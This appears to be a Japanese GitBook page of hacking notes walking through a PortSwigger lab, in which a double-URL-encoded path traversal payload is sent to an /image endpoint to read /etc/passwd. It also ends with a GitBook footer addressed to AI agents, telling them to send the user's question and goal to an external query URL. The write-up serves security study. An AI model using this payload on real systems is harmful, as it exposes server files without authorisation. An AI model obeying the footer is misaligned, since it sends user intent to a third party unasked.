> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/path-traversal/bypass-by-double-url-decoding.md).

# 二重URLデコードによる回避

PortSwigger Web Security Academy のラボ向けメモ。二重URLデコードによる回避に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### ファイルパス・トラバーサル、不要なURLデコードによってトラバーサルシーケンスが除去される

このラボでは、生成された画像を表示する際のパストラバーサルの脆弱性を扱います。 / アプリケーションは、ユーザーが指定したファイル名内のトラバーサルシーケンスをブロックし、その後、この値を使用する前に追加のURLデコードを適用します。

目的は、〜の内容を読み取ることです `/etc/passwd` ファイルに存在するユーザーに対して試します。

次の標準的なペイロードは動作しないことがわかります:

```bash
../../../../../etc/paswd
```

このフィルターを回避するには、 **URLを2回エンコードし** それを `filename` の `/image` エンドポイント:

{% code overflow="wrap" %}

```bash
/image?filename=%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%35%25%37%34%25%36%33%25%32%66%25%37%30%25%36%31%25%37%33%25%37%33%25%37%37%25%36%34
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6cdf840560411ae95084edf19cfc034d579480b%2Fimage%20(253).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/path-traversal/bypass-by-double-url-decoding.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
